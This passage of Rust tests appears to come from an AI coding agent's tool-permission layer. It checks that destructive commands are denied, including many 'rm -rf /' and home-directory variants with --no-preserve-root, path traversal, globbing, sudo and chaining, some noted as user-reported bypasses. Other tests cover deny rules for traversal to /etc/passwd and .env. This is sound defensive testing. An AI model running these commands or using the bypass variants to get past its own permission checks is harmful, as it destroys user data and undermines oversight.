1930        t("rm ./build -rf")
1931            .mode(ToolPermissionMode::Allow)
1932            .is_allow();
1933        t("rm /tmp/test -rf")
1934            .mode(ToolPermissionMode::Allow)
1935            .is_allow();
1936        t("rm ~/Documents -rf")
1937            .mode(ToolPermissionMode::Allow)
1938            .is_allow();
1939    }
1940
1941    #[test]
1942    fn hardcoded_blocks_rm_with_flag_equals_value() {
1943        // --flag=value syntax should not bypass the rules
1944        t("rm --no-preserve-root=yes -rf /").is_deny();
1945        t("rm --no-preserve-root=yes --recursive --force /").is_deny();
1946        t("rm -rf --no-preserve-root=yes /").is_deny();
1947        t("rm --interactive=never -rf /").is_deny();
1948        t("rm --no-preserve-root=yes -rf ~").is_deny();
1949        t("rm --no-preserve-root=yes -rf .").is_deny();
1950        t("rm --no-preserve-root=yes -rf ..").is_deny();
1951        t("rm --no-preserve-root=yes -rf $HOME").is_deny();
1952        // --flag (without =value) should also not bypass the rules
1953        t("rm -rf --no-preserve-root /").is_deny();
1954        t("rm --no-preserve-root -rf /").is_deny();
1955        t("rm --no-preserve-root --recursive --force /").is_deny();
1956        t("rm -rf --no-preserve-root ~").is_deny();
1957        t("rm -rf --no-preserve-root .").is_deny();
1958        t("rm -rf --no-preserve-root ..").is_deny();
1959        t("rm -rf --no-preserve-root $HOME").is_deny();
1960        // Trailing --flag=value after path
1961        t("rm / --no-preserve-root=yes -rf").is_deny();
1962        t("rm ~ -rf --no-preserve-root=yes").is_deny();
1963        // Trailing --flag (without =value) after path
1964        t("rm / -rf --no-preserve-root").is_deny();
1965        t("rm ~ -rf --no-preserve-root").is_deny();
1966        // Safe paths with --flag=value should NOT be blocked
1967        t("rm --no-preserve-root=yes -rf ./build")
1968            .mode(ToolPermissionMode::Allow)
1969            .is_allow();
1970        t("rm --interactive=never -rf /tmp/test")
1971            .mode(ToolPermissionMode::Allow)
1972            .is_allow();
1973        // Safe paths with --flag (without =value) should NOT be blocked
1974        t("rm --no-preserve-root -rf ./build")
1975            .mode(ToolPermissionMode::Allow)
1976            .is_allow();
1977    }
1978
1979    #[test]
1980    fn hardcoded_blocks_rm_with_path_traversal() {
1981        // Traversal to root via ..
1982        t("rm -rf /etc/../").is_deny();
1983        t("rm -rf /tmp/../../").is_deny();
1984        t("rm -rf /tmp/../..").is_deny();
1985        t("rm -rf /var/log/../../").is_deny();
1986        // Root via /./
1987        t("rm -rf /./").is_deny();
1988        t("rm -rf /.").is_deny();
1989        // Double slash (equivalent to /)
1990        t("rm -rf //").is_deny();
1991        // Home traversal via ~/./
1992        t("rm -rf ~/./").is_deny();
1993        t("rm -rf ~/.").is_deny();
1994        // Dot traversal via indirect paths
1995        t("rm -rf ./foo/..").is_deny();
1996        t("rm -rf ../foo/..").is_deny();
1997        // Traversal in chained commands
1998        t("ls && rm -rf /tmp/../../").is_deny();
1999        t("echo hello; rm -rf /./").is_deny();
2000        // Traversal cannot be bypassed by global or allow patterns
2001        t("rm -rf /tmp/../../")
2002            .global_default(ToolPermissionMode::Allow)
2003            .is_deny();
2004        t("rm -rf /./").allow(&[".*"]).is_deny();
2005        // Safe paths with traversal should still be allowed
2006        t("rm -rf /tmp/../tmp/foo")
2007            .mode(ToolPermissionMode::Allow)
2008            .is_allow();
2009        t("rm -rf ~/Documents/./subdir")
2010            .mode(ToolPermissionMode::Allow)
2011            .is_allow();
2012    }
2013
2014    #[test]
2015    fn hardcoded_blocks_rm_multi_path_with_dangerous_last() {
2016        t("rm -rf /tmp /").is_deny();
2017        t("rm -rf /tmp/foo /").is_deny();
2018        t("rm -rf /var/log ~").is_deny();
2019        t("rm -rf /safe $HOME").is_deny();
2020    }
2021
2022    #[test]
2023    fn hardcoded_blocks_rm_multi_path_with_dangerous_first() {
2024        t("rm -rf / /tmp").is_deny();
2025        t("rm -rf ~ /var/log").is_deny();
2026        t("rm -rf . /tmp/foo").is_deny();
2027        t("rm -rf .. /safe").is_deny();
2028    }
2029
2030    #[test]
2031    fn hardcoded_allows_rm_multi_path_all_safe() {
2032        t("rm -rf /tmp /home/user")
2033            .mode(ToolPermissionMode::Allow)
2034            .is_allow();
2035        t("rm -rf ./build ./dist")
2036            .mode(ToolPermissionMode::Allow)
2037            .is_allow();
2038        t("rm -rf /var/log/app /tmp/cache")
2039            .mode(ToolPermissionMode::Allow)
2040            .is_allow();
2041    }
2042
2043    #[test]
2044    fn hardcoded_blocks_rm_multi_path_with_traversal() {
2045        t("rm -rf /safe /tmp/../../").is_deny();
2046        t("rm -rf /tmp/../../ /safe").is_deny();
2047        t("rm -rf /safe /var/log/../../").is_deny();
2048    }
2049
2050    #[test]
2051    fn hardcoded_blocks_user_reported_bypass_variants() {
2052        // User report: "rm -rf /etc/../" normalizes to "rm -rf /" via path traversal
2053        t("rm -rf /etc/../").is_deny();
2054        t("rm -rf /etc/..").is_deny();
2055        // User report: --no-preserve-root (without =value) should not bypass
2056        t("rm -rf --no-preserve-root /").is_deny();
2057        t("rm --no-preserve-root -rf /").is_deny();
2058        // User report: "rm -rf /*" should be caught (glob expands to all top-level entries)
2059        t("rm -rf /*").is_deny();
2060        // Chained with sudo
2061        t("sudo rm -rf /").is_deny();
2062        t("sudo rm -rf --no-preserve-root /").is_deny();
2063        // Traversal cannot be bypassed even with global allow or allow patterns
2064        t("rm -rf /etc/../")
2065            .global_default(ToolPermissionMode::Allow)
2066            .is_deny();
2067        t("rm -rf /etc/../").allow(&[".*"]).is_deny();
2068        t("rm -rf --no-preserve-root /")
2069            .global_default(ToolPermissionMode::Allow)
2070            .is_deny();
2071        t("rm -rf --no-preserve-root /").allow(&[".*"]).is_deny();
2072    }
2073
2074    #[test]
2075    fn normalize_path_relative_no_change() {
2076        assert_eq!(normalize_path("foo/bar"), "foo/bar");
2077    }
2078
2079    #[test]
2080    fn normalize_path_relative_with_curdir() {
2081        assert_eq!(normalize_path("foo/./bar"), "foo/bar");
2082    }
2083
2084    #[test]
2085    fn normalize_path_relative_with_parent() {
2086        assert_eq!(normalize_path("foo/bar/../baz"), "foo/baz");
2087    }
2088
2089    #[test]
2090    fn normalize_path_absolute_preserved() {
2091        assert_eq!(normalize_path("/etc/passwd"), "/etc/passwd");
2092    }
2093
2094    #[test]
2095    fn normalize_path_absolute_with_traversal() {
2096        assert_eq!(normalize_path("/tmp/../etc/passwd"), "/etc/passwd");
2097    }
2098
2099    #[test]
2100    fn normalize_path_root() {
2101        assert_eq!(normalize_path("/"), "/");
2102    }
2103
2104    #[test]
2105    fn normalize_path_parent_beyond_root_clamped() {
2106        assert_eq!(normalize_path("/../../../etc/passwd"), "/etc/passwd");
2107    }
2108
2109    #[test]
2110    fn normalize_path_curdir_only() {
2111        assert_eq!(normalize_path("."), "");
2112    }
2113
2114    #[test]
2115    fn normalize_path_empty() {
2116        assert_eq!(normalize_path(""), "");
2117    }
2118
2119    #[test]
2120    fn normalize_path_relative_traversal_above_start() {
2121        assert_eq!(normalize_path("../../../etc/passwd"), "../../../etc/passwd");
2122    }
2123
2124    #[test]
2125    fn normalize_path_relative_traversal_with_curdir() {
2126        assert_eq!(normalize_path("../../."), "../..");
2127    }
2128
2129    #[test]
2130    fn normalize_path_relative_partial_traversal_above_start() {
2131        assert_eq!(normalize_path("foo/../../bar"), "../bar");
2132    }
2133
2134    #[test]
2135    fn most_restrictive_deny_vs_allow() {
2136        assert!(matches!(
2137            most_restrictive(
2138                ToolPermissionDecision::Deny("x".into()),
2139                ToolPermissionDecision::Allow
2140            ),
2141            ToolPermissionDecision::Deny(_)
2142        ));
2143    }
2144
2145    #[test]
2146    fn most_restrictive_allow_vs_deny() {
2147        assert!(matches!(
2148            most_restrictive(
2149                ToolPermissionDecision::Allow,
2150                ToolPermissionDecision::Deny("x".into())
2151            ),
2152            ToolPermissionDecision::Deny(_)
2153        ));
2154    }
2155
2156    #[test]
2157    fn most_restrictive_deny_vs_confirm() {
2158        assert!(matches!(
2159            most_restrictive(
2160                ToolPermissionDecision::Deny("x".into()),
2161                ToolPermissionDecision::Confirm
2162            ),
2163            ToolPermissionDecision::Deny(_)
2164        ));
2165    }
2166
2167    #[test]
2168    fn most_restrictive_confirm_vs_deny() {
2169        assert!(matches!(
2170            most_restrictive(
2171                ToolPermissionDecision::Confirm,
2172                ToolPermissionDecision::Deny("x".into())
2173            ),
2174            ToolPermissionDecision::Deny(_)
2175        ));
2176    }
2177
2178    #[test]
2179    fn most_restrictive_deny_vs_deny() {
2180        assert!(matches!(
2181            most_restrictive(
2182                ToolPermissionDecision::Deny("a".into()),
2183                ToolPermissionDecision::Deny("b".into())
2184            ),
2185            ToolPermissionDecision::Deny(_)
2186        ));
2187    }
2188
2189    #[test]
2190    fn most_restrictive_confirm_vs_allow() {
2191        assert_eq!(
2192            most_restrictive(
2193                ToolPermissionDecision::Confirm,
2194                ToolPermissionDecision::Allow
2195            ),
2196            ToolPermissionDecision::Confirm
2197        );
2198    }
2199
2200    #[test]
2201    fn most_restrictive_allow_vs_confirm() {
2202        assert_eq!(
2203            most_restrictive(
2204                ToolPermissionDecision::Allow,
2205                ToolPermissionDecision::Confirm
2206            ),
2207            ToolPermissionDecision::Confirm
2208        );
2209    }
2210
2211    #[test]
2212    fn most_restrictive_allow_vs_allow() {
2213        assert_eq!(
2214            most_restrictive(ToolPermissionDecision::Allow, ToolPermissionDecision::Allow),
2215            ToolPermissionDecision::Allow
2216        );
2217    }
2218
2219    #[test]
2220    fn decide_permission_for_path_no_dots_early_return() {
2221        // When the path has no `.` or `..`, normalize_path returns the same string,
2222        // so decide_permission_for_path returns the raw decision directly.
2223        let settings = test_agent_settings(ToolPermissions {
2224            default: ToolPermissionMode::Confirm,
2225            tools: Default::default(),
2226        });
2227        let decision = decide_permission_for_path(EditFileTool::NAME, "src/main.rs", &settings);
2228        assert_eq!(decision, ToolPermissionDecision::Confirm);
2229    }
2230
2231    #[test]
2232    fn decide_permission_for_path_traversal_triggers_deny() {
2233        let deny_regex = CompiledRegex::new("/etc/passwd", false).unwrap();
2234        let mut tools = collections::HashMap::default();
2235        tools.insert(
2236            Arc::from(EditFileTool::NAME),
2237            ToolRules {
2238                default: Some(ToolPermissionMode::Allow),
2239                always_allow: vec![],
2240                always_deny: vec![deny_regex],
2241                always_confirm: vec![],
2242                invalid_patterns: vec![],
2243            },
2244        );
2245        let settings = test_agent_settings(ToolPermissions {
2246            default: ToolPermissionMode::Confirm,
2247            tools,
2248        });
2249
2250        let decision =
2251            decide_permission_for_path(EditFileTool::NAME, "/tmp/../etc/passwd", &settings);
2252        assert!(
2253            matches!(decision, ToolPermissionDecision::Deny(_)),
2254            "expected Deny for traversal to /etc/passwd, got {:?}",
2255            decision
2256        );
2257    }
2258
2259    #[test]
2260    fn normalize_path_collapses_dot_segments() {
2261        assert_eq!(
2262            normalize_path("src/../.zed/settings.json"),
2263            ".zed/settings.json"
2264        );
2265        assert_eq!(normalize_path("a/b/../c"), "a/c");
2266        assert_eq!(normalize_path("a/./b/c"), "a/b/c");
2267        assert_eq!(normalize_path("a/b/./c/../d"), "a/b/d");
2268        assert_eq!(normalize_path(".zed/settings.json"), ".zed/settings.json");
2269        assert_eq!(normalize_path("a/b/c"), "a/b/c");
2270    }
2271
2272    #[test]
2273    fn normalize_path_handles_multiple_parent_dirs() {
2274        assert_eq!(normalize_path("a/b/c/../../d"), "a/d");
2275        assert_eq!(normalize_path("a/b/c/../../../d"), "d");
2276    }
2277
2278    fn path_perm(
2279        tool: &str,
2280        input: &str,
2281        deny: &[&str],
2282        allow: &[&str],
2283        confirm: &[&str],
2284    ) -> ToolPermissionDecision {
2285        let mut tools = collections::HashMap::default();
2286        tools.insert(
2287            Arc::from(tool),
2288            ToolRules {
2289                default: None,
2290                always_allow: allow
2291                    .iter()
2292                    .map(|p| {
2293                        CompiledRegex::new(p, false)
2294                            .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2295                    })
2296                    .collect(),
2297                always_deny: deny
2298                    .iter()
2299                    .map(|p| {
2300                        CompiledRegex::new(p, false)
2301                            .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2302                    })
2303                    .collect(),
2304                always_confirm: confirm
2305                    .iter()
2306                    .map(|p| {
2307                        CompiledRegex::new(p, false)
2308                            .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2309                    })
2310                    .collect(),
2311                invalid_patterns: vec![],
2312            },
2313        );
2314        let permissions = ToolPermissions {
2315            default: ToolPermissionMode::Confirm,
2316            tools,
2317        };
2318        let raw_decision = ToolPermissionDecision::from_input(
2319            tool,
2320            &[input.to_string()],
2321            &permissions,
2322            ShellKind::Posix,
2323        );
2324
2325        let simplified = normalize_path(input);
2326        if simplified == input {
2327            return raw_decision;
2328        }
2329
2330        let simplified_decision =
2331            ToolPermissionDecision::from_input(tool, &[simplified], &permissions, ShellKind::Posix);
2332
2333        most_restrictive(raw_decision, simplified_decision)
2334    }
2335
2336    #[test]
2337    fn decide_permission_for_path_denies_traversal_to_denied_dir() {
2338        let decision = path_perm(
2339            "copy_path",
2340            "src/../.zed/settings.json",
2341            &["^\\.zed/"],
2342            &[],
2343            &[],
2344        );
2345        assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2346    }
2347
2348    #[test]
2349    fn decide_permission_for_path_confirms_traversal_to_confirmed_dir() {
2350        let decision = path_perm(
2351            "copy_path",
2352            "src/../.zed/settings.json",
2353            &[],
2354            &[],
2355            &["^\\.zed/"],
2356        );
2357        assert!(matches!(decision, ToolPermissionDecision::Confirm));
2358    }
2359
2360    #[test]
2361    fn decide_permission_for_path_allows_when_no_traversal_issue() {
2362        let decision = path_perm("copy_path", "src/main.rs", &[], &["^src/"], &[]);
2363        assert!(matches!(decision, ToolPermissionDecision::Allow));
2364    }
2365
2366    #[test]
2367    fn decide_permission_for_path_most_restrictive_wins() {
2368        let decision = path_perm(
2369            "copy_path",
2370            "allowed/../.zed/settings.json",
2371            &["^\\.zed/"],
2372            &["^allowed/"],
2373            &[],
2374        );
2375        assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2376    }
2377
2378    #[test]
2379    fn decide_permission_for_path_dot_segment_only() {
2380        let decision = path_perm(
2381            "delete_path",
2382            "./.zed/settings.json",
2383            &["^\\.zed/"],
2384            &[],
2385            &[],
2386        );
2387        assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2388    }
2389
2390    #[test]
2391    fn decide_permission_for_path_no_change_when_already_simple() {
2392        // When path has no `.` or `..` segments, behavior matches decide_permission_from_settings
2393        let decision = path_perm("copy_path", ".zed/settings.json", &["^\\.zed/"], &[], &[]);
2394        assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2395    }
2396
2397    #[test]
2398    fn decide_permission_for_path_raw_deny_still_works() {
2399        // Even without traversal, if the raw path itself matches deny, it's denied
2400        let decision = path_perm("copy_path", "secret/file.txt", &["^secret/"], &[], &[]);
2401        assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2402    }
2403
2404    #[test]
2405    fn decide_permission_for_path_denies_edit_file_traversal_to_dotenv() {
2406        let decision = path_perm(EditFileTool::NAME, "src/../.env", &["^\\.env"], &[], &[]);
2407        assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2408    }
2409}